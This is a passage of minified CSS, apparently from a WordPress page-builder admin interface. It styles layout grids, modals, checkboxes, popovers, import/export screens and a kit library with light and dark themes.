100%)}.eps-grid-item-lg-3{flex-grow:0;max-width:calc(3 / 12 * 100%);flex-basis:calc(3 / 12 * 100%)}.eps-grid-item-lg-4{flex-grow:0;max-width:calc(4 / 12 * 100%);flex-basis:calc(4 / 12 * 100%)}.eps-grid-item-lg-5{flex-grow:0;max-width:calc(5 / 12 * 100%);flex-basis:calc(5 / 12 * 100%)}.eps-grid-item-lg-6{flex-grow:0;max-width:calc(6 / 12 * 100%);flex-basis:calc(6 / 12 * 100%)}.eps-grid-item-lg-7{flex-grow:0;max-width:calc(7 / 12 * 100%);flex-basis:calc(7 / 12 * 100%)}.eps-grid-item-lg-8{flex-grow:0;max-width:calc(8 / 12 * 100%);flex-basis:calc(8 / 12 * 100%)}.eps-grid-item-lg-9{flex-grow:0;max-width:calc(9 / 12 * 100%);flex-basis:calc(9 / 12 * 100%)}.eps-grid-item-lg-10{flex-grow:0;max-width:calc(10 / 12 * 100%);flex-basis:calc(10 / 12 * 100%)}.eps-grid-item-lg-11{flex-grow:0;max-width:calc(11 / 12 * 100%);flex-basis:calc(11 / 12 * 100%)}.eps-grid-item-lg-12{flex-grow:0;max-width:calc(12 / 12 * 100%);flex-basis:calc(12 / 12 * 100%)}}@media screen and (min-width:1440px){.eps-grid-item-xl-1{flex-grow:0;max-width:calc(1 / 12 * 100%);flex-basis:calc(1 / 12 * 100%)}.eps-grid-item-xl-2{flex-grow:0;max-width:calc(2 / 12 * 100%);flex-basis:calc(2 / 12 * 100%)}.eps-grid-item-xl-3{flex-grow:0;max-width:calc(3 / 12 * 100%);flex-basis:calc(3 / 12 * 100%)}.eps-grid-item-xl-4{flex-grow:0;max-width:calc(4 / 12 * 100%);flex-basis:calc(4 / 12 * 100%)}.eps-grid-item-xl-5{flex-grow:0;max-width:calc(5 / 12 * 100%);flex-basis:calc(5 / 12 * 100%)}.eps-grid-item-xl-6{flex-grow:0;max-width:calc(6 / 12 * 100%);flex-basis:calc(6 / 12 * 100%)}.eps-grid-item-xl-7{flex-grow:0;max-width:calc(7 / 12 * 100%);flex-basis:calc(7 / 12 * 100%)}.eps-grid-item-xl-8{flex-grow:0;max-width:calc(8 / 12 * 100%);flex-basis:calc(8 / 12 * 100%)}.eps-grid-item-xl-9{flex-grow:0;max-width:calc(9 / 12 * 100%);flex-basis:calc(9 / 12 * 100%)}.eps-grid-item-xl-10{flex-grow:0;max-width:calc(10 / 12 * 100%);flex-basis:calc(10 / 12 * 100%)}.eps-grid-item-xl-11{flex-grow:0;max-width:calc(11 / 12 * 100%);flex-basis:calc(11 / 12 * 100%)}.eps-grid-item-xl-12{flex-grow:0;max-width:calc(12 / 12 * 100%);flex-basis:calc(12 / 12 * 100%)}}@media screen and (min-width:1600px){.eps-grid-item-xxl-1{flex-grow:0;max-width:calc(1 / 12 * 100%);flex-basis:calc(1 / 12 * 100%)}.eps-grid-item-xxl-2{flex-grow:0;max-width:calc(2 / 12 * 100%);flex-basis:calc(2 / 12 * 100%)}.eps-grid-item-xxl-3{flex-grow:0;max-width:calc(3 / 12 * 100%);flex-basis:calc(3 / 12 * 100%)}.eps-grid-item-xxl-4{flex-grow:0;max-width:calc(4 / 12 * 100%);flex-basis:calc(4 / 12 * 100%)}.eps-grid-item-xxl-5{flex-grow:0;max-width:calc(5 / 12 * 100%);flex-basis:calc(5 / 12 * 100%)}.eps-grid-item-xxl-6{flex-grow:0;max-width:calc(6 / 12 * 100%);flex-basis:calc(6 / 12 * 100%)}.eps-grid-item-xxl-7{flex-grow:0;max-width:calc(7 / 12 * 100%);flex-basis:calc(7 / 12 * 100%)}.eps-grid-item-xxl-8{flex-grow:0;max-width:calc(8 / 12 * 100%);flex-basis:calc(8 / 12 * 100%)}.eps-grid-item-xxl-9{flex-grow:0;max-width:calc(9 / 12 * 100%);flex-basis:calc(9 / 12 * 100%)}.eps-grid-item-xxl-10{flex-grow:0;max-width:calc(10 / 12 * 100%);flex-basis:calc(10 / 12 * 100%)}.eps-grid-item-xxl-11{flex-grow:0;max-width:calc(11 / 12 * 100%);flex-basis:calc(11 / 12 * 100%)}.eps-grid-item-xxl-12{flex-grow:0;max-width:calc(12 / 12 * 100%);flex-basis:calc(12 / 12 * 100%)}}.eps-theme-dark,:root{--menu-title-color:#515962}.eps-menu ul{list-style:none;padding:0;margin:0}.eps-menu ul li{display:flex}.eps-menu__title{padding:.5rem 1.875rem;font-size:.6875rem;line-height:1.2;text-transform:uppercase;font-weight:400;color:var(--menu-title-color)}:root{--eps-modal-background-color:#fff;--eps-modal-header-background-color:#2563eb;--eps-tip-background-color:#f0f7ff}.eps-theme-dark{--eps-modal-background-color:#0c0d0e;--eps-modal-header-background-color:#07c;--eps-tip-background-color:#0a1a3d}.eps-modal{max-width:43.75rem;background:var(--eps-modal-background-color);border-radius:.1875rem;animation:eps-animation-pop .15s cubic-bezier(.57,.53,.71,1.47) forwards}.eps-modal__overlay{background:rgba(0,0,0,.5);position:fixed;display:flex;top:0;right:0;width:100%;height:100%;align-items:center;justify-content:center;z-index:1030}.eps-modal__header{font-size:.875rem;background:var(--eps-modal-header-background-color);height:2.75rem;padding:.625rem 1rem;border-radius:.1875rem}.eps-modal__header,.eps-modal__header .title{color:#fff}.eps-modal__icon{margin-inline-end:.625rem}.eps-modal__body{padding:1.875rem}.eps-modal .eps-tip,.eps-modal__tip{padding:.5rem;padding-inline-start:.75rem;border-inline-start:3px solid #2563eb;background-color:var(--eps-tip-background-color)}.eps-modal .eps-tip:not(:last-child),.eps-modal__tip:not(:last-child){margin-block-end:1.875rem}.eps-modal .eps-tip:not(:first-child),.eps-modal__section:not(:first-child),.eps-modal__tip:not(:first-child){margin-block-start:1.875rem}.eps-modal__close-wrapper{padding-inline-start:1rem;border-inline-start:solid 1px #fff}.eps-add-new-button{display:inline-flex;--eps-add-new-button-size:1.5rem;line-height:var(--eps-add-new-button-size);cursor:pointer}.eps-add-new-button .eps-icon{background-color:#f3bafd;color:#0c0d0e;width:var(--eps-add-new-button-size);height:var(--eps-add-new-button-size);border-radius:100%;font-size:calc(var(--eps-add-new-button-size) * .75);text-align:center;line-height:var(--eps-add-new-button-size)}.eps-add-new-button span:not(.sr-only){margin-inline-start:.625rem;font-weight:500}.eps-add-new-button--sm{--eps-add-new-button-size:1rem}:root{--select2-selection-background-color:#fff;--select2-selection-color:#515962;--select2-selection-border-color:#9da5ae;--select2-selection-opened-focused-border-color:#babfc5;--select2-single-selection-rendered-color:#515962;--select2-default-single-selection-background-color:#fff;--select2-default-single-selection-border-color:#9da5ae;--select2-default-multiple-selection-background-color:#fff;--select2-default-multiple-selection-choice-background-color:#babfc5;--select2-default-multiple-selection-choice-color:#515962;--select2-default-multiple-selection-choice-border-color:#babfc5;--select2-default-multiple-selection-choice-remove-color:#69727d;--select2-default-multiple-selection-choice-remove-hover-color:#515962;--select2-default-results-selected-option-background-color:#fff;--select2-default-results-selected-option-color:#515962;--select2-default-results-highlighted-option-background-color:#5897fb;--select2-default-results-highlighted-option-color:#fff;--select2-results-selected-option-background-color:#5897fb;--select2-results-selected-option-color:#fff;--select2-dropdown-background-color:#fff;--select2-dropdown-border-color:#9da5ae}.eps-theme-dark{--select2-selection-background-color:#3f444b;--select2-selection-color:#d5d8dc;--select2-selection-border-color:#818a96;--select2-selection-opened-focused-border-color:#9da5ae;--select2-single-selection-rendered-color:#d5d8dc;--select2-default-single-selection-background-color:#3f444b;--select2-default-single-selection-border-color:#69727d;--select2-default-multiple-selection-background-color:#3f444b;--select2-default-multiple-selection-choice-background-color:#69727d;--select2-default-multiple-selection-choice-color:#d5d8dc;--select2-default-multiple-selection-choice-border-color:#69727d;--select2-default-multiple-selection-choice-remove-color:#babfc5;--select2-default-multiple-selection-choice-remove-hover-color:#d5d8dc;--select2-default-results-selected-option-background-color:#3f444b;--select2-default-results-selected-option-color:#d5d8dc;--select2-default-results-highlighted-option-background-color:#69727d;--select2-default-results-highlighted-option-color:#d5d8dc;--select2-results-selected-option-background-color:#69727d;--select2-results-selected-option-color:#d5d8dc;--select2-dropdown-background-color:#3f444b;--select2-dropdown-border-color:#818a96}.select2-container:not(.select2-container--open):not(.select2-container--focus) .select2-selection--multiple,.select2-container:not(.select2-container--open):not(.select2-container--focus) .select2-selection--single{background-color:var(--select2-selection-background-color);color:var(--select2-selection-color);border-color:var(--select2-selection-border-color)}.select2-container.select2-container--focus .select2-selection--multiple,.select2-container.select2-container--focus .select2-selection--single,.select2-container.select2-container--open .select2-selection--multiple,.select2-container.select2-container--open .select2-selection--single{border-color:var(--select2-selection-opened-focused-border-color)}.select2-container.select2-container--default .select2-selection--single .select2-selection__rendered{color:var(--select2-single-selection-rendered-color)}.select2-container--default .select2-selection--single{background-color:var(--select2-default-single-selection-background-color);border-color:var(--select2-default-single-selection-border-color)}.select2-container--default .select2-selection--multiple{background-color:var(--select2-default-multiple-selection-background-color)}.select2-container--default .select2-selection--multiple .select2-selection__choice{background-color:var(--select2-default-multiple-selection-choice-background-color);color:var(--select2-default-multiple-selection-choice-color);border-color:var(--select2-default-multiple-selection-choice-border-color)}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove{color:var(--select2-default-multiple-selection-choice-remove-color)}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover{color:var(--select2-default-multiple-selection-choice-remove-hover-color)}.select2-container--default .select2-results__option[aria-selected]{background-color:var(--select2-default-results-selected-option-background-color);color:var(--select2-default-results-selected-option-color)}.select2-container--default .select2-results__option--highlighted[aria-selected]{background-color:var(--select2-default-results-highlighted-option-background-color);color:var(--select2-default-results-highlighted-option-color)}.select2-container .select2-results__option[aria-selected=true]{background-color:var(--select2-results-selected-option-background-color);color:var(--select2-results-selected-option-color)}.select2-container .select2-dropdown{background-color:var(--select2-dropdown-background-color);border-color:var(--select2-dropdown-border-color)}.eps-notice{--eps-box-notice-background-color:#f1f2f3;padding:.625rem 1rem}.eps-notice-semantic{border-inline-start:3px solid var(--eps-notice-semantic-color);background-color:var(--eps-notice-semantic-bg)}.eps-notice-semantic .eps-notice__icon{color:var(--eps-notice-semantic-color);font-size:1rem;margin-inline-end:.75rem}.eps-notice--warning{--eps-notice-semantic-color:#f59e0b;--eps-notice-semantic-bg:#fffbeb}.eps-notice--danger{--eps-notice-semantic-color:#dc2626;--eps-notice-semantic-bg:#fef1f4}.eps-notice--info{--eps-notice-semantic-color:#2563eb;--eps-notice-semantic-bg:#f0f7ff}.eps-notice__text{margin:0;padding:0}.eps-notice__button-container{flex-shrink:0;margin-inline-start:1.25rem;width:auto}.eps-theme-dark .eps-notice{--eps-box-notice-background-color:#515962}.eps-theme-dark .eps-notice--warning{--eps-notice-semantic-bg:#311808}.eps-theme-dark .eps-notice--danger{--eps-notice-semantic-bg:#390a0a}.eps-theme-dark .eps-notice--info{--eps-notice-semantic-bg:#0a1a3d}.eps-list{--eps-list-item-separated-border-color:#babfc5;padding:0;margin:0;border-radius:.1875rem;border:1px solid var(--e-a-border-color);list-style-type:none}.eps-list--padding{padding:var(--eps-list-padding)}.eps-list__item{padding:0}.eps-list__item--padding{padding:var(--eps-list-item-padding)}.eps-list--separated .eps-list__item:not(:last-child){border-block-end:1px solid var(--eps-list-item-separated-border-color)}.eps-theme-dark .eps-list{--eps-list-item-separated-border-color:#3f444b}:root{--popover-background-color:#fff;--popover-item-color:#515962;--popover-item-hover-color:#3f444b;--popover-item-danger-hover-color:#dc2626;--popover-item-background-color:#fff;--popover-box-shadow-color:rgba(0,0,0,0.15);--popover-box-shadow-size:0px 1px 20px;--popover-arrow-color:#fff}.eps-theme-dark{--popover-background-color:#1f2124;--popover-item-color:#fff;--popover-item-hover-color:#d5d8dc;--popover-item-danger-hover-color:#f84343;--popover-item-background-color:#1f2124;--popover-box-shadow-color:rgba(0,0,0,0.15);--popover-box-shadow-size:0px 1px 20px;--popover-arrow-color:#1f2124}.eps-popover{padding:10px 0;background-color:var(--popover-background-color);box-shadow:var(--popover-box-shadow-size) var(--popover-box-shadow-color);list-style:none;display:flex;flex-direction:column;min-width:120px;border-radius:.1875rem;position:absolute;z-index:1050;margin-block-start:9px;transform:translateX(-50%);right:.25rem}.eps-popover__background{position:fixed;top:0;bottom:0;right:0;left:0;z-index:1030}.eps-popover__container{position:relative}.eps-popover:before{content:"";display:block;position:absolute;width:16px;height:9px;margin:0 .1875rem 9px;top:-9px;right:50%;transform:translateX(-50%);border-color:transparent;border-style:solid;border-width:0 calc(16px / 2) 9px;border-block-end-color:var(--popover-arrow-color)}.eps-popover__item{padding:.3125rem 1rem;background-color:var(--popover-item-background-color);color:var(--popover-item-color);font-size:.6875rem;font-weight:500;line-height:.8125rem;width:100%;align-items:center;cursor:pointer}.eps-popover__item:hover{color:var(--popover-item-hover-color)}.eps-popover__item--danger:hover{color:var(--popover-item-danger-hover-color)}.eps-popover__item .eps-icon{font-size:inherit;margin-inline-end:.3125rem}.eps-css-grid{display:grid;grid-template-columns:repeat(var(--eps-grid-columns,auto-fill),minmax(var(--eps-grid-col-min-width,1fr),var(--eps-grid-col-max-width,1fr)));grid-gap:var(--eps-grid-spacing)}.eps-box{--eps-box-color:#1f2124;--eps-box-input-color:#1f2124;padding:0;border-radius:.1875rem;color:var(--eps-box-color)}.eps-box--padding{padding:var(--eps-box-padding)}.eps-box>input{width:100%;outline:0;border:0;background-color:transparent;color:var(--eps-box-input-color)}.eps-theme-dark .eps-box{--eps-box-color:#d5d8dc;--eps-box-input-color:#d5d8dc}:root{--checkbox-border-color:#9da5ae;--checkbox-hover-border-color:#8f98a2;--checkbox-active-border-color:#abb2ba;--checkbox-background-color:#fff;--checkbox-checked-background-color:#515962;--checkbox-checked-hover-background-color:#454c54;--checkbox-checked-active-background-color:#5d6670;--checkbox-checked-disabled-background-color:#d5d8dc;--checkbox-indicator-color:#fff;--checkbox-error-background-color:#dc2626}.eps-theme-dark{--checkbox-background-color:transparent}.eps-checkbox{-webkit-appearance:none;-moz-appearance:none;appearance:none;border-radius:.1875rem;width:15px;height:15px;outline:0;background-color:var(--checkbox-background-color);display:inline-flex;justify-content:center;align-items:center;border:1px solid var(--checkbox-border-color)}.eps-checkbox:after{display:inline-block;margin-block-end:calc(.25 / 2 * 100%);content:" ";width:3px;height:6px;transform:rotate(45deg)}.eps-checkbox:hover{--checkbox-border-color:var(--checkbox-hover-border-color)}.eps-checkbox:active{--checkbox-border-color:var(--checkbox-active-border-color)}.eps-checkbox:checked{--checkbox-background-color:var(--checkbox-checked-background-color);--checkbox-border-color:var(--checkbox-checked-background-color)}.eps-checkbox:checked:after{border:solid #fff;border-width:0 1px 1px 0}.eps-checkbox:checked:hover{--checkbox-background-color:var(--checkbox-checked-hover-background-color);--checkbox-border-color:var(--checkbox-checked-hover-background-color)}.eps-checkbox:checked:active{--checkbox-background-color:var(--checkbox-checked-active-background-color);--checkbox-border-color:var(--checkbox-checked-active-background-color)}.eps-checkbox:checked:disabled{--checkbox-background-color:var(--checkbox-checked-disabled-background-color);--checkbox-border-color:var(--checkbox-checked-disabled-background-color)}.eps-checkbox--rounded{border-radius:50%}.eps-checkbox--indeterminate{--checkbox-background-color:var(--checkbox-checked-background-color);--checkbox-border-color:var(--checkbox-checked-background-color)}.eps-checkbox--indeterminate:after{display:inline-block;margin-block-end:0;content:" ";width:7px;height:0;transform:rotate(0deg);border-block-start:1px solid #fff}.eps-checkbox--error:after,.eps-checkbox--error:before,.eps-checkbox--error:checked:after,.eps-checkbox--error:checked:before{display:inline-block;margin-block-end:0;content:" ";width:7px;height:0;border:solid #fff;border-width:1px 0 0;position:absolute}.eps-checkbox--error:before,.eps-checkbox--error:checked:before{transform:rotate(45deg)}.eps-checkbox--error:after,.eps-checkbox--error:checked:after{transform:rotate(-45deg)}.eps-checkbox--error,.eps-checkbox--error:checked,.eps-checkbox--error:checked:hover,.eps-checkbox--error:hover{--checkbox-background-color:var(--checkbox-error-background-color);--checkbox-border-color:var(--checkbox-error-background-color)}:root{--e-app-drag-drop-background-color:#fff;--e-app-drag-drop-outline-color:#e6e8ea}.eps-theme-dark{--e-app-drag-drop-background-color:#2b2c31;--e-app-drag-drop-outline-color:#333438}.e-app-drag-drop{background-color:var(--e-app-drag-drop-background-color);outline:2px dashed var(--e-app-drag-drop-outline-color);outline-offset:-.75rem;margin-block-end:1.5rem;padding:4.125rem;text-align:center}.e-app-drag-drop--drag-over{outline-color:#2563eb}.eps-dialog{border-radius:3px;width:375px}.eps-dialog__close-button{position:absolute;top:-2.75rem;left:-2.75rem;margin-block-start:.625rem;margin-inline-end:.625rem;z-index:1040;font-size:1.25rem;color:#fff}.eps-dialog__content{padding:1.5rem 1.875rem 1rem;font-size:.75rem}.eps-dialog__text,.eps-dialog__title{text-align:center}.eps-dialog__buttons{display:flex}.eps-dialog__button{flex:1;border-block-start:1px solid var(--hr-color);line-height:2.75rem;text-align:center;justify-content:center}.eps-dialog__button:last-child:not(:first-child){border-inline-start:1px solid var(--hr-color)}.e-app__popover{display:none;position:absolute;box-shadow:0 2px 15px rgba(0,0,0,.3);border-radius:6px;padding:20px;width:-moz-fit-content;width:fit-content;z-index:999;background-color:var(--e-a-bg-default)}.e-app__popover:before{content:"";position:absolute;top:-16px;left:var(--popover-arrow-offset-end,22px);border:8px solid transparent;border-block-end-color:#fff}.eps-inline-link{color:var(--eps-inline-link-color);background-color:initial;border:0;padding:0}.eps-inline-link--color-primary{--eps-inline-link-color:#0a875a}.eps-inline-link--color-secondary{--eps-inline-link-color:#818a96}.eps-inline-link--color-danger{--eps-inline-link-color:#dc2626}.eps-inline-link--color-cta{--eps-inline-link-color:#93003f}.eps-inline-link--color-link{--eps-inline-link-color:#515962}.eps-inline-link--color-disabled{--eps-inline-link-color:#d5d8dc}.eps-inline-link--underline-always,.eps-inline-link--underline-always:hover,.eps-inline-link--underline-hover:hover{text-decoration:underline}.eps-inline-link--italic{font-style:italic}.eps-inline-link,.eps-inline-link:focus{outline:none}.eps-text-field{--eps-text-field-color:#515962;--eps-text-field-background-color:transparent;--eps-text-field-placeholder-color:#69727d;--eps-text-field-outlined-border-color:#9da5ae;--eps-text-field-outlined-focus-border-color:#515962;width:100%;color:var(--eps-text-field-color);background-color:var(--eps-text-field-background-color);border:0;margin-block-end:5px;outline:none;font-family:Roboto,Arial,Helvetica,Verdana,sans-serif;font-size:.875rem;font-weight:400;line-height:1.5}.eps-text-field--outlined{border-radius:.1875rem;border:1px solid var(--eps-text-field-outlined-border-color);padding:.625rem}.eps-text-field--outlined:focus{border-color:var(--eps-text-field-outlined-focus-border-color)}.eps-text-field::-moz-placeholder{color:var(--eps-text-field-placeholder-color);font-family:Roboto,Arial,Helvetica,Verdana,sans-serif;font-size:.875rem;font-weight:400;line-height:1.5}.eps-text-field::placeholder{color:var(--eps-text-field-placeholder-color);font-family:Roboto,Arial,Helvetica,Verdana,sans-serif;font-size:.875rem;font-weight:400;line-height:1.5}.eps-theme-dark .eps-text-field{--eps-text-field-color:#babfc5;--eps-text-field-background-color:transparent;--eps-text-field-placeholder-color:#9da5ae;--eps-text-field-outlined-border-color:#3f444b;--eps-text-field-outlined-focus-border-color:#9da5ae}.eps-theme-dark--outlined{border-color:var(--eps-text-field-outlined-border-color)}.eps-theme-dark--outlined:focus{border-color:var(--eps-text-field-outlined-focus-border-color)}.e-app-import-export-content-layout{display:flex;justify-content:center;height:100%}.e-app-import-export-content-layout__container{flex-basis:1075px}.e-app-export-complete__kit-content-title{margin:2.75rem 0 .625rem}.e-app-export-kit-content{--e-app-export-kit-content-title-color:#3f444b;--e-app-export-kit-content-description-color:#515962;--e-app-export-kit-content-sm-notice-color:#babfc5}.e-app-export-kit-content__checkbox{flex-shrink:0;margin-inline-end:.75rem}.e-app-export-kit-content__title{color:var(--e-app-export-kit-content-title-color)}.e-app-export-kit-content__description{color:var(--e-app-export-kit-content-description-color);margin-inline-end:1.25rem}.e-app-export-kit-content__notice{margin-block-start:1rem}.e-app-export-kit-content__small-notice{font-style:italic;color:var(--e-app-export-kit-content-sm-notice-color)}.eps-theme-dark .e-app-export-kit-content{--e-app-export-kit-content-title-color:#d5d8dc;--e-app-export-kit-content-description-color:#babfc5;--e-app-export-kit-content-sm-notice-color:#818a96}.e-app-import-export-kit-data{--e-app-import-export-kit-data-site-area-color:#3f444b;--e-app-import-export-kit-data-included-color:#69727d}.e-app-import-export-kit-data__included,.e-app-import-export-kit-data__site-area{margin-block-end:0}.e-app-import-export-kit-data__site-area{color:var(--e-app-import-export-kit-data-site-area-color);font-weight:700}.e-app-import-export-kit-data__included{color:var(--e-app-import-export-kit-data-included-color)}.eps-theme-dark .e-app-import-export-kit-data{--e-app-import-export-kit-data-site-area-color:#babfc5;--e-app-import-export-kit-data-included-color:#9da5ae}.e-app-import-resolver{--e-app-import-resolver-panel-header-background-color:#fff;--e-app-import-resolver-panel-body-background-color:hsla(0,0%,100%,0.5);--e-app-import-resolver-conflicts-asset-border-color:#818a96;--e-app-import-resolver-conflicts-asset-inactive-color:#69727d;padding-block-end:1.25rem}.e-app-import-resolver__notice{margin-block-end:1.25rem}.e-app-import-resolver__panel,.e-app-import-resolver__panel:hover{background-color:initial}.e-app-import-resolver__panel-header{background-color:var(--e-app-import-resolver-panel-header-background-color)}.e-app-import-resolver__panel-body{background-color:var(--e-app-import-resolver-panel-body-background-color)}.e-app-import-resolver-conflicts__container{box-shadow:0 2px 3px 1px var(--color-box-shadow-color)}.e-app-import-resolver-conflicts__checkbox{flex-shrink:0;margin-inline-end:.75rem}.e-app-import-resolver-conflicts__title{line-height:1}.e-app-import-resolver-conflicts__asset:not(:first-child){border-inline-start:2px solid var(--e-app-import-resolver-conflicts-asset-border-color);padding-inline-start:1rem;margin-inline-start:1rem}.e-app-import-resolver-conflicts__asset:not(.active){color:var(--e-app-import-resolver-conflicts-asset-inactive-color)}.e-app-import-resolver-conflicts__edit-template{margin-inline-start:.3125rem}.eps-theme-dark .e-app-import-resolver{--e-app-import-resolver-panel-header-background-color:#69727d;--e-app-import-resolver-panel-body-background-color:rgba(0,0,0,0.05);--e-app-import-resolver-conflicts-asset-border-color:#818a96;--e-app-import-resolver-conflicts-asset-inactive-color:#9da5ae}.eps-panel{--eps-panel-header-background-color:transparent;--eps-panel-body-background-color:transparent}.eps-panel,.eps-panel:hover{background-color:initial}.eps-panel__header{background-color:var(--eps-panel-header-background-color);border-radius:.1875rem}.eps-panel__body{background-color:var(--eps-panel-body-background-color);border-radius:0 0 .1875rem .1875rem}.eps-theme-dark .eps-panel{--eps-panel-header-background-color:transparent;--eps-panel-body-background-color:transparent}.e-app-export-kit{padding-block-end:1.25rem}.e-app-export-kit-information{margin-block-start:1.25rem}.e-app-export-kit-information__field-header{margin-block-end:.625rem}.e-app-export-kit-information__label{margin:0}.e-app-export-kit-information__info-icon{margin-inline-start:.625rem}.e-app-export-kit-info-modal__icon{padding-inline-start:.625rem}.e-app-export-kit-info-modal__heading{margin-block-end:1.25rem}.e-app-import-export-info-modal__section:not(:first-child){margin-block-start:1.875rem}.e-app-import-export-info-modal__heading{margin-block-end:1.25rem}:root{--eps-badge-background-color:#fff}.eps-theme-dark{--eps-badge-background-color:#515962}.eps-badge{display:inline-block;background:var(--eps-badge-background-color);padding:0 .5rem;line-height:1.8;box-shadow:0 3px 6px var(--color-box-shadow-color);border-radius:4px;font-size:.75rem}.eps-badge--sm{font-size:.625rem;border-radius:3px;padding:0 .3125rem;line-height:1.5}.eps-collapse__title{cursor:pointer;padding:.3125rem 0;display:flex;align-items:center;justify-content:space-between;width:100%;background:transparent;border:none;color:inherit}.eps-collapse__title:focus{outline:none}.eps-collapse__icon{transition:all .15s;transform:rotate(180deg)}.eps-collapse__content{margin-block-start:.625rem;display:none}.eps-collapse[data-open] .eps-collapse__content{display:block}.eps-collapse[data-open] .eps-collapse__icon{transform:rotate(90deg)}.e-kit-library-promotion{--e-kit-library-promotion-color:tints(600)}.eps-theme-dark .e-kit-library-promotion{--e-kit-library-promotion-color:dark-tints(400)}.e-kit-library-promotion{width:100%;text-align:center;margin-block-start:1.875rem;color:var(--e-kit-library-promotion-color)}.e-kit-library__error-screen{margin-block-start:2.75rem}.e-kit-library__error-screen-title{margin-block-start:2.75rem;margin-block-end:0}.e-kit-library__error-screen-description{margin-block-start:1.5rem;color:#69727d;text-align:center;max-width:520px}.e-kit-library__kit-favorite-actions{padding:.3125rem;transition:all .3s;border-radius:4px}.e-kit-library__kit-favorite-actions--active{color:#dc2626}.e-kit-library__kit-favorite-actions--loading{opacity:1%;cursor:default}.e-kit-library__kit-favorite-actions:hover{background-color:rgba(220,38,38,.1)}.e-kit-library__filter-indication{margin-block-start:1.5rem;display:flex;align-items:center}.e-kit-library__filter-indication-text{margin-block-end:0;display:flex;align-items:center}.e-kit-library__filter-indication-badge{margin-inline-start:.3125rem;display:flex;align-items:center}.e-kit-library__filter-indication-badge-remove{margin-inline-start:.3125rem;font-size:.875rem}.e-kit-library__filter-indication-button{margin-inline-start:1.5rem}#eps-app-header-btn-apply,#eps-app-header-btn-connect,#eps-app-header-btn-promotion{margin-inline-start:.625rem;margin-inline-end:.625rem}.e-kit-library__apply-button{display:flex;align-items:center;justify-content:center;gap:.3125rem}.e-kit-library__kit-item{--e-kit-library-kit-item-overlay-promotion-button-background-color:#d5d8dc}.eps-theme-dark .e-kit-library__kit-item{--e-kit-library-kit-item-overlay-promotion-button-background-color:#515962}.e-kit-library__kit-item-overlay{height:100%}.e-kit-library__kit-item-overlay>:first-child{flex:1}.e-kit-library__kit-item-overlay-overview-button{display:flex;flex-direction:column;align-items:center;justify-content:center;color:#fff;height:100%;width:100%}.e-kit-library__kit-item-overlay-overview-button>i{font-size:2rem;margin-block-end:5px}.e-kit-library__kit-item-overlay-overview-button>span{font-size:.9rem}.e-kit-library__kit-item-overlay-promotion-button{display:flex;width:100%;background:#fff;align-items:center;justify-content:center;padding:10px;font-size:13px;color:#93003f;background:var(--e-kit-library-kit-item-overlay-promotion-button-background-color)}.e-kit-library__kit-item-overlay-promotion-button>*{margin:0 3px}.e-kit-library__kit-item-subscription-plan-badge{position:absolute;top:0;left:0;margin:.3125rem;background-color:var(--e-a-color-brand);color:#fff;text-transform:uppercase}:root{--e-kit-library-header-back-border:1px solid var(--e-a-border-color);--e-kit-library-header-back-color:#69727d}.eps-theme-dark{--e-kit-library-header-back-border:1px solid #818a96;--e-kit-library-header-back-color:#babfc5}.e-kit-library__header-back{color:var(--e-kit-library-header-back-color);padding-inline-end:1.25rem;padding-inline-start:.3125rem;display:inline-flex;justify-content:center;align-items:center;height:100%;border-inline-end:var(--e-kit-library-header-back-border)}.e-kit-library__header-back-container{flex:1;height:100%}.e-kit-library__header-back .eps-icon{transform:rotate(180deg)}.e-kit-library__page-loader{width:100%;height:100%;display:grid;place-items:center;font-size:1.85rem;color:#69727d}.eps-search-input{--eps-search-input-background-color:#d5d8dc;--eps-search-input-background-color-focus:#fff;--eps-search-input-color:#3f444b;--eps-search-input-placeholder-color:#69727d}.eps-theme-dark .eps-search-input{--eps-search-input-background-color:#515962;--eps-search-input-background-color-focus:#69727d;--eps-search-input-color:#babfc5;--eps-search-input-placeholder-color:#babfc5}.eps-search-input{width:100%;font-size:.9375rem;padding:.625rem 2.75rem;border:none;background:var(--eps-search-input-background-color);outline:none;color:var(--eps-search-input-color);line-height:1;height:2.75rem}.eps-search-input--sm{font-size:.8125rem;padding:.5rem 1.875rem}.eps-search-input:focus{background:var(--eps-search-input-background-color-focus)}.eps-search-input::-moz-placeholder{color:var(--eps-search-input-placeholder-color);font-style:italic}.eps-search-input::placeholder{color:var(--eps-search-input-placeholder-color);font-style:italic}.eps-search-input__container{position:relative}.eps-search-input__icon{font-size:1.25rem;padding:.625rem;color:#69727d;position:absolute;top:0;right:0;height:100%;display:flex;align-items:center;justify-content:center}.eps-search-input__icon--sm{font-size:.75rem}.eps-search-input__clear-icon{font-size:.875rem;padding:.625rem;color:#69727d;position:absolute;top:0;left:0;height:100%;display:flex;align-items:center;justify-content:center}.eps-search-input__clear-icon--sm{font-size:.6875rem}:root{--eps-sort-select-select-background-color:#d5d8dc;--eps-sort-select-select-color:#3f444b;--eps-sort-select-button-background-color:#d5d8dc;--eps-sort-select-button-border:1px solid var(--e-a-border-color)}.eps-theme-dark{--eps-sort-select-select-background-color:#515962;--eps-sort-select-select-color:#babfc5;--eps-sort-select-button-background-color:#515962;--eps-sort-select-button-border:1px solid #1f2124}.eps-sort-select{width:100%;font-size:.9375rem;display:flex}.eps-sort-select__select-wrapper{flex:1;position:relative}.eps-sort-select__select-wrapper:after{content:"\e8ad";font-family:eicons;position:absolute;left:.625rem;top:0;bottom:0;color:#69727d;display:flex;align-items:center;justify-content:center;pointer-events:none}.eps-sort-select__select{width:100%;padding:.625rem;border:none;background:var(--eps-sort-select-select-background-color);outline:none;color:var(--eps-sort-select-select-color);line-height:1;cursor:pointer;height:2.75rem;-moz-appearance:none;appearance:none;-webkit-appearance:none;border-radius:0}.eps-sort-select__button{padding:.75rem;background:var(--eps-sort-select-button-background-color);border-inline-start:var(--eps-sort-select-button-border);line-height:1;color:#69727d}.e-kit-library__tags-filter{--e-kit-library-tags-filter-list-search-background-color:#fff}.eps-theme-dark .e-kit-library__tags-filter{--e-kit-library-tags-filter-list-search-background-color:#515962}.e-kit-library__tags-filter{margin-block-start:2.75rem}.e-kit-library__tags-filter-list{margin-block-end:2.75rem}.e-kit-library__tags-filter-list .eps-collapse__title{padding-inline-end:1.875rem;padding-inline-start:1.875rem;text-transform:uppercase}.e-kit-library__tags-filter-list .eps-collapse__content{margin:.3125rem 1.875rem}.e-kit-library__tags-filter-list-container{max-height:250px;overflow:auto}.e-kit-library__tags-filter-list-search{margin-block-end:.625rem}.e-kit-library__tags-filter-list-search 